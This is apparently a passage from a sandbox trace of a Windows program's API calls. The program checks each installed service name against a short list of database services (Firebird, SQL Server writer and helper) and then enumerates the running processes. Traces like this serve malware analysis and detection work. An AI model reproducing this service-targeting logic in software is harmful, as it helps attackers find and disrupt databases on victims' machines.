	[0150.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0150.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0150.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0150.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0150.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0150.281] lstrlenW (lpString="MpsSvc") returned 6
	[0150.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0150.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0150.281] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0150.281] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0150.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0150.281] lstrlenW (lpString="NcbService") returned 10
	[0150.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0150.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0150.281] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0150.281] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0150.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0150.282] lstrlenW (lpString="netprofm") returned 8
	[0150.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0150.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0150.282] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0150.282] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0150.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0150.282] lstrlenW (lpString="NgcSvc") returned 6
	[0150.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0150.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0150.282] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0150.282] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0150.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0150.379] lstrlenW (lpString="NlaSvc") returned 6
	[0150.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0150.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0150.380] lstrlenW (lpString="nsi") returned 3
	[0150.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0150.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0150.380] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0150.380] lstrlenW (lpString="PcaSvc") returned 6
	[0150.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0150.380] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0150.380] lstrlenW (lpString="PlugPlay") returned 8
	[0150.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0150.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0150.380] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0150.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0150.380] lstrlenW (lpString="Power") returned 5
	[0150.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0150.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0150.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0150.381] lstrlenW (lpString="ProfSvc") returned 7
	[0150.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0150.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0150.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0150.381] lstrlenW (lpString="RpcEptMapper") returned 12
	[0150.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0150.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0150.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0150.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0150.381] lstrlenW (lpString="RpcSs") returned 5
	[0150.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0150.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0150.382] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0150.382] lstrlenW (lpString="SamSs") returned 5
	[0150.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0150.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0150.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0150.382] lstrlenW (lpString="Schedule") returned 8
	[0150.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0150.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0150.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0150.382] lstrlenW (lpString="SecurityHealthService") returned 21
	[0150.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0150.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0150.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0150.382] lstrlenW (lpString="SENS") returned 4
	[0150.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0150.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0150.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0150.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0150.383] lstrlenW (lpString="ShellHWDetection") returned 16
	[0150.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0150.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0150.383] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0150.383] lstrlenW (lpString="Spooler") returned 7
	[0150.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0150.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0150.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0150.383] lstrlenW (lpString="StateRepository") returned 15
	[0150.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0150.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0150.383] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0150.383] lstrlenW (lpString="SysMain") returned 7
	[0150.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0150.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0150.383] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0150.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0150.383] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0150.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0150.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0150.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0150.384] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0150.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0150.384] lstrlenW (lpString="Themes") returned 6
	[0150.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0150.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0150.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0150.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0150.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0150.384] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0150.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0150.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0150.384] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0150.384] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0150.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x48c
	[0150.391] Process32FirstW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0150.392] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0150.393] lstrlenW (lpString="System") returned 6
	[0150.393] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0150.394] lstrlenW (lpString="smss.exe") returned 8
	[0150.394] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0150.395] lstrlenW (lpString="csrss.exe") returned 9
	[0150.395] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0150.396] lstrlenW (lpString="wininit.exe") returned 11
	[0150.396] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0150.397] lstrlenW (lpString="csrss.exe") returned 9
	[0150.397] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0150.398] lstrlenW (lpString="winlogon.exe") returned 12
	[0150.398] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0150.399] lstrlenW (lpString="services.exe") returned 12
	[0150.399] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0150.400] lstrlenW (lpString="lsass.exe") returned 9
	[0150.400] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0150.401] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0150.401] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0150.402] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0150.402] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.403] lstrlenW (lpString="svchost.exe") returned 11
	[0150.403] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.404] lstrlenW (lpString="svchost.exe") returned 11
	[0150.404] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0150.405] lstrlenW (lpString="dwm.exe") returned 7
	[0150.405] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.406] lstrlenW (lpString="svchost.exe") returned 11
	[0150.406] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.407] lstrlenW (lpString="svchost.exe") returned 11
	[0150.407] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.408] lstrlenW (lpString="svchost.exe") returned 11
	[0150.408] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.409] lstrlenW (lpString="svchost.exe") returned 11
	[0150.409] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.410] lstrlenW (lpString="svchost.exe") returned 11
	[0150.410] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.411] lstrlenW (lpString="svchost.exe") returned 11
	[0150.411] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.412] lstrlenW (lpString="svchost.exe") returned 11
	[0150.412] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.419] lstrlenW (lpString="svchost.exe") returned 11
	[0150.419] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.420] lstrlenW (lpString="svchost.exe") returned 11
	[0150.420] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.421] lstrlenW (lpString="svchost.exe") returned 11
	[0150.421] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0150.422] lstrlenW (lpString="spoolsv.exe") returned 11
	[0150.422] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.423] lstrlenW (lpString="svchost.exe") returned 11
	[0150.423] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0150.424] lstrlenW (lpString="audiodg.exe") returned 11
	[0150.424] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0150.425] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0150.425] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0150.426] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0150.426] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0150.427] lstrlenW (lpString="sihost.exe") returned 10
	[0150.427] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0150.428] lstrlenW (lpString="Memory Compression") returned 18
	[0150.428] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0150.429] lstrlenW (lpString="svchost.exe") returned 11
	[0150.429] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0150.430] lstrlenW (lpString="taskhostw.exe") returned 13
	[0150.430] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0150.431] lstrlenW (lpString="msoia.exe") returned 9
	[0150.431] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0150.432] lstrlenW (lpString="taskhostw.exe") returned 13
	[0150.432] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0150.433] lstrlenW (lpString="explorer.exe") returned 12
	[0150.433] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0150.434] lstrlenW (lpString="SearchUI.exe") returned 12
	[0150.434] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0150.435] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0150.435] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0150.436] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0150.436] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
